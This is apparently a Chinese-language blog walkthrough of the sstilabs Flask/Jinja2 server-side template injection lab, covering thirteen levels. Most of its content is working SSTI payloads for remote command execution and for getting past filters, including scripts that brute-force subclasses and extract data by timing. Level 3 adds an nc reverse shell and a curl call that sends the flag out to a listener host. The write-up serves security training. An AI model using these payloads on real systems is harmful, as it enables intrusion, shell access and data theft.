SSTI-Lab全详解

前言

最近做到了SSTI的题,但弄得并不是很懂,所以这里找sstilabs靶场训练一下。

sstilabs本来应该有3种类型的题目,但目前只出了flask的。如果想要更全的题型,可以去看看websitesVulnerableToSSTI(这俩靶场都可以在github上找到)。

Level 1

这一关no waf,我们直接注入即可。

这里提一下SSTI常用注入模块。

image-20250215213907779

我们这里用第三种,

首先我们需要写脚本判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://192.168.230.133:18080/flasklab/level/1'# 请输入URL链接
for i in range(500):
data = {"code": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
try:
response = requests.post(url, data=data)
# print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
# print(response.text)
print(i)
except:
pass
'''
需要修改URL和data
利用方式:{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("cat /etc/passwd").read()}}
注意:这里的199是脚本求出来的,而且脚本求的未必正确,有时候要多试几次
'''

运行结果

image-20250216102621740

上面的数字都可以试,不过有部分可能不好使,这里我们试试199,

{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("cat flag").read()}}

image-20250216102801393

还有更方便的方法,就是从内置函数中直接调用os模块,例如下面几种

1
2
3
4
5
6
7
{{config.__class__.__init__.__globals__['os'].popen("ls").read()}}

{{url_for.__globals__.os.popen("ls").read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__.os.popen('ls').read()}}

这样就不用写脚本从各个subclasses中找os模块了。

这里我们提一下常见的内置函数和内置对象(后面会用到,这里简单了解)

类型 名称/方法 描述 典型用途
内置函数 lipsum 用于生成 Lorem Ipsum 占位文本,默认提供多段随机文本。 模板中填充测试内容。
内置函数 url_for 根据视图函数名生成对应的 URL 路径,支持动态参数。 生成链接。
内置函数 get_flashed_messages 获取通过 flash() 方法设置的闪现消息,通常用于一次性提示(如成功/错误消息)。 显示消息。
内置对象 cycler Jinja2 的循环状态管理工具,用于跟踪迭代进度(如奇偶行标记)。 标记交替行。
内置对象 joiner Jinja2 的字符串拼接工具,自动处理分隔符(如逗号)。 拼接列表。
内置对象 namespace 用于在模板中创建变量命名空间,避免变量冲突。 定义局部变量。
内置对象 config 包含 Flask 应用的配置信息(如 SECRET_KEY、数据库连接等)。 读取配置(需注意敏感信息泄露风险)。
内置对象 request 封装当前 HTTP 请求的详细信息(参数、头、Cookies 等)。 获取 GET 参数。
内置对象 session 用于读写用户会话数据(基于 Cookie 加密存储)。 存储用户状态。

注意:.可以与['']互相替换,比如__globals__['os']可以换为__globals__.os,所以下面两句是等价的

1
2
3
{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__.os.popen('ls').read()}}

image-20250215214438190

Level 2

这关过滤{{}},我们可以用{%%}代替,但是要注意使用print输出

{%print lipsum.__globals__.os.popen('cat flag').read()%}

或者

{%print(lipsum.__globals__.os.popen('cat flag').read())%}

image-20250215215323534

Level 3

这一关没回显。

这种情况下我们往往考虑三种方法:

  1. 反弹shell

  2. 带外注入(DNSlog、wget等)

  3. 盲注

我们每种都试一下。

第一种方法,

先在kali上开启监听nc -lvp 7777

然后执行{{lipsum.__globals__.os.popen('nc 192.168.230.133 7777 -e /bin/bash')}}

image-20250714000047751

反弹shell成功

image-20250215220409424

第二种方法,

sstilabs应该是不出网的,用DNSlog有些困难了

这里在kali里用python开启一个http服务

1
python -m http.server 80

然后去访问

1
{{lipsum.__globals__.os.popen('curl http://192.168.230.133/`cat flag | xxd -p`')}}

image-20250215222441088

这里一开始单纯使用cat flag,但是发现特殊符号会消失(比如{}),所以改为16进制输出cat flag | xxd -p

image-20250215222627980

第三种,

这里直接写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = ''

def check(payload):
postdata = {
'code': payload
}
start_time = time.time()
response = requests.post(url, data=postdata)
end_time = time.time()
elapsed_time = end_time - start_time
# 如果响应时间超过1秒,则认为条件为真
if elapsed_time > 1:
return True
return False

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in range(0, 100):
for c in s:
# 使用时间盲注的payload,通过执行系统命令 sleep 1 来引入延迟
payload = '{% if lipsum.__globals__.os.popen("cat flag").read()[' + str(i) + ':' + str(i+1) + '] == "' + c + '" and lipsum.__globals__.os.popen("sleep 1").read() %}{% endif %}'
if check(payload):
password += c
print(password)
break

print(password)
#需要修改URL和postdata

image-20250215224842500

Level 4

这一关过滤中括号

我们第一关提到:.可以与['']互相替换,比如__globals__['os']可以换为__globals__.os,其实,['']还可以用__getintm__('')替换,即__globals__['os']可以换为__globals__.__getitem__('os')。此外还有更多的方法,这里把常见的获取键值或下标的方式进行总结(可以知道,这些都是等价的)。

获取键值或下标的方式(下面的__builtins__及0仅作为例子,实际应用请更换)

1
2
3
4
5
6
7
8
9
10
dict.__builtins__
dict['__builtins__']
dict.get('__builtins__')
dict.pop('__builtins__')
dict.__getitem__('__builtins__')
dict.setdefault('__builtins__')

list[0]
list.__getitem__(0)
list.pop(0)

获取属性的方式

1
2
3
4
().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

payload之一{{lipsum.__globals__.os.popen('ls').read()}}中虽然本来就没有中括号,

但是第一关提到的{{lipsum.__globals__['os'].popen('ls').read()}}中有,

根据上面,我们可以换为(其中,pop要谨慎使用,使用一次就会弹出,所以仅有一次机会,这里不建议使用):

1
2
3
4
5
6
7
{{lipsum.__globals__.get('os').popen('ls').read()}}

{{lipsum.__globals__.pop('os').popen('ls').read()}}

{{lipsum.__globals__.__getitem__('os').popen('ls').read()}}

{{lipsum.__globals__.setdefault('os').popen('ls').read()}}

可知,上面6句都是等价的。

image-20250216105441416

Level 5

过滤单双引号

这里我们要引入requestrequest 在 Flask 中可以访问基于 HTTP 请求传递的所有信息。

request 并非 Python 的函数,而是在 Flask 内部的函数。

属性/方法 描述
request.args.key 获取 GET 请求中传入的 key 的值。
request.values.参数名 获取所有参数(包括 GET 和 POST)。
request.cookies 获取传入的 cookies 参数。
request.headers 获取请求头中的参数。
request.form.key 获取 POST 请求中传入的 key 的值(Content-Typeapplication/x-www-form-urlencodedmultipart/form-data)。
request.data 获取 POST 请求中传入的参数(Content-Type:a/b )。
request.json 获取 POST 请求中传入的 JSON 参数(Content-Typeapplication/json)。

我们这里试试GET的

我们的payload{{lipsum.__globals__.os.popen('ls').read()}}中系统命令处有引号,所以我们替换为

{{lipsum.__globals__.os.popen(request.args.k1).read()}}

image-20250216114325149

试试POST

code={{lipsum.__globals__.os.popen(request.form.x1).read()}}&x1=cat flag

image-20250216114210921

Level 6

这关过滤下划线

这里我们讲一下flask常用过滤器:

flask常用过滤器 描述
length() 获取一个序列或者字典的长度并将其返回。
int() 将值转换为 int 类型。
float() 将值转换为 float 类型。
lower() 将字符串转换为小写。
upper() 将字符串转换为大写。
reverse() 反转字符串。
replace(value,old,new) value 中的 old 替换为 new
list() 将变量转换为列表类型。
string() 将变量转换成字符串类型。
join() 将一个序列中的参数值拼接成字符串,通常与 Python 内置的 dict() 配合使用。
attr() 获取对象的属性。

过滤器通过管道符号 (|) 与变量连接,并且在括号中可能有可选的参数。

应对过滤下划线,我们以下几种方法:

  1. 使用request方法(结合过滤器attr)

  2. 使用hex编码

  3. 使用unicode编码

  4. 使用base64编码(不建议用,仅python2支持)

  5. 格式化字符串

{{lipsum.__globals__.os.popen('ls').read()}}中有__globals__

第1种,

这里我们需要使用过滤器attr,所以应该将

{{lipsum.__globals__.os.popen('ls').read()}}

换为

{{lipsum.__globals__.__getitem__('os').popen('ls').read()}}

然后再转换

1
{{lipsum|attr(request.args.globals)|attr(request.args.getitem)('os')|attr('popen')('ls')|attr('read')()}}

注意GET传参?globals=__globals__&getitem=__getitem__

第2种,

_编码后为\x5f

1
{{lipsum['\x5f\x5fglobals\x5f\x5f'].os.popen('cat flag').read()}}

第3种,

1
2
3
{{lipsum['\u005f\u005fglobals\u005f\u005f'].os.popen('cat flag').read()}}

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

第4种,

(不建议,这里不好使)

1
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(213)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}

第5种,

1
2
3
{{lipsum["%c%cglobals%c%c"%(95,95,95,95)].os.popen('cat flag').read()}}

{{lipsum|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))("os")|attr("popen")("cat flag")|attr("read")()}}

Level 7

过滤点

我们有两种方法:

  1. 用中括号代替点(见第四关)
  2. 用attr()绕过

第一种,

{{lipsum.__globals__.os.popen('ls').read()}}

改为

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

1
2
3
4
5
6
{{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x6c\x73')['\x72\x65\x61\x64']()}}
__globals__ 5F5F676C6F62616C735F5F \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
os 6F73 \x6f\x73
popen 706F70656E \x70\x6f\x70\x65\x6e
ls 6C73 \x6c\x73
read 72656164 \x72\x65\x61\x64

第二种,

1
2
3
4
5
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

{{lipsum|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))("os")|attr("popen")("cat flag")|attr("read")()}}

Level 8

过滤关键字“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”

这里有5种方法:

  1. 字符编码
  2. 字符拼接
  3. 使用Jinja2中的~拼接
  4. 使用过滤器(reverse反转、replace替换、join拼接)
  5. 利用python的char()

第一种前面用过,这里就不再提了

第二种,

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

改为

1
2
3
{{lipsum['__glo''bals__']['os']['pop''en']('ls')['read']()}}

{{lipsum['__glo'+'bals__']['os']['pop'+'en']('cat flag')['read']()}}

第三种,

1
{%set a='__glo'%}{%set b='bals__'%}{%set c='po'%}{%set d='pen'%}{{lipsum[a~b]['os'][c~d]('ls')['read']()}}

第四种,

1
2
3
{%set a="__slabolg__"|reverse%}{%set b="nepop"|reverse%}{{lipsum[a]['os'][b]('ls')['read']()}}

{%set a="__gmmbals__"|replace("mm","lo")%}{%set b="pommn"|replace("mm","pe")%}{{lipsum[a]['os'][b]('ls')['read']()}}

第五种,

从内置函数里面获取 ASCII 解码功能,并赋值给变量 chr,从而使得chr变为可以ASCII 解码的函数

原理大概是这样,但下面payload有问题,并不好使

1
{% set chr=url_for.__globals__['__builtins_'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

Level 9

过滤数字

但我们的payload并没有数字{{lipsum.__globals__.os.popen('ls').read()}}

为了学习,我们这里还是讲如何构造数字,比如我们构造10:

{%set a='aaaaaaaaaa'|length%}{{a}}

image-20250216155226644

然后我们构造199,利用第一关的payload

1
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen("cat flag").read()}}

image-20250216155604275

Level 10

直接获取config失败

image-20250216160126527

还有别的获取config的方法

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

这里我们可以返回再看一下常见的内置函数和内置对象

Level 11

过滤了部分符号,有‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’

这里我们需要用join过滤器

比如构造__globals__

{%set a=dict(__glob=1,als__=2)|join%}{{a}}

image-20250216173019968

所以我们需要逐步将{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}构造出来,

1
2
3
4
5
6
7
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set cmd=dict(l=1,s=2)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

image-20250216174027068

但是cat flag中间有空格,通过上面的方法只能构造catflag

下面我们讲一下获取符号。

获取符号的几种语句:

1
2
3
4
5
6
7
8
{%set kg=({}|select()|string())%}{{kg}} # 获取空格、下划线,结果:<generator object select_or_reject at 0x7f838c27f4c0>

{%set kg=(self|string())%}{{kg}} # 获取空格,结果:<TemplateReference None>

{%set kg=(self|string|urlencode)%}{{kg}} # 获取百分号,结果:%3CTemplateReference%20None%3E

{%set kg=(app.__doc__|string)%}{{kg}} # 获取空格、单引号、反引号,结果太长

我们以{%set kg=({}|select()|string())%}{{kg}}为例,详细讲解如何获取符号,

先看看都有啥符号

image-20250216204044629

换成list格式,{%set kg=({}|select()|string())|list%}{{kg}}

然后数自己想要的符号是第几个(从0开始数)

![image-20250216203942888](E:\Program Files\Typora\typora_user_images\image-20250216203942888.png)

可以数到我们想要的空格在第10位,用{%set kg=({}|select()|string())[10]%}{{kg}}来取

但是这里过滤方括号,根据第四关,我们改为{%set kg=({}|select()|string())|attr('__getitem__')(10)%}{{kg}}

然后可以用join构造的__getitem__代替上句中的,构造如下

1
2
3
4
5
6
7
8
9
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set kg=({}|select()|string())|attr(b)(10)%}
{%set cmd=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

或者

1
2
3
4
5
6
7
8
9
{%set f=dict(po=x,p=y)|join%}
{%set kg=(lipsum|string|list)|attr(f)(9)%}
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set cmd=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

image-20250216182054538

Level 12

过滤了数字和部分符号,有‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’

构造空格{%set kg=(lipsum|string|list)|attr('pop')(9)%}{{kg}}

构造下划线{%set xhx=(lipsum|string|list)|attr('pop')(18)%}{{xhx}}

但这里有过滤了数字,所以我们还要构造数字,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set nine=dict(aaaaaaaaa=x)|join|count %}
{% set eighteen=nine+nine %}
{%set f=dict(po=x,p=y)|join%}
{%set xhx=(lipsum|string|list)|attr(f)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(f)(nine)%}
{%set a=(xhx,xhx,dict(glob=x)|join,dict(als=y)|join,xhx,xhx)|join%}
{%set b=(xhx,xhx,dict(get=x)|join,dict(item=y)|join,xhx,xhx)|join%}
{%set c=dict(o=x,s=y)|join%}
{%set d=dict(po=x,pen=y)|join%}
{%set e=dict(re=x,ad=y)|join%}
{%set cmd=(dict(cat=x)|join,kg,dict(flag=y)|join)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

更易读一些的payload:

1
2
3
4
5
6
7
8
9
10
11
12
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(eighteen) %}
{% set kg=(lipsum|string|list)|attr(pop)(nine) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join %}
{% set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

Level 13

过滤了部分符号和关键字,有‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’

改掉level11的下划线或者改掉level12的加号

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set pop=dict(pop=a)|join %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{%set one=dict(a=a)|join|count%} 
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=(one~eight)|int%}
{% set pop=dict(pop=a)|join %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%}

{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}


SSTI-Lab全详解
http://example.com/2025/07/13/25SSTI-Lab全详解/
作者
sangnigege
发布于
2025年7月13日
许可协议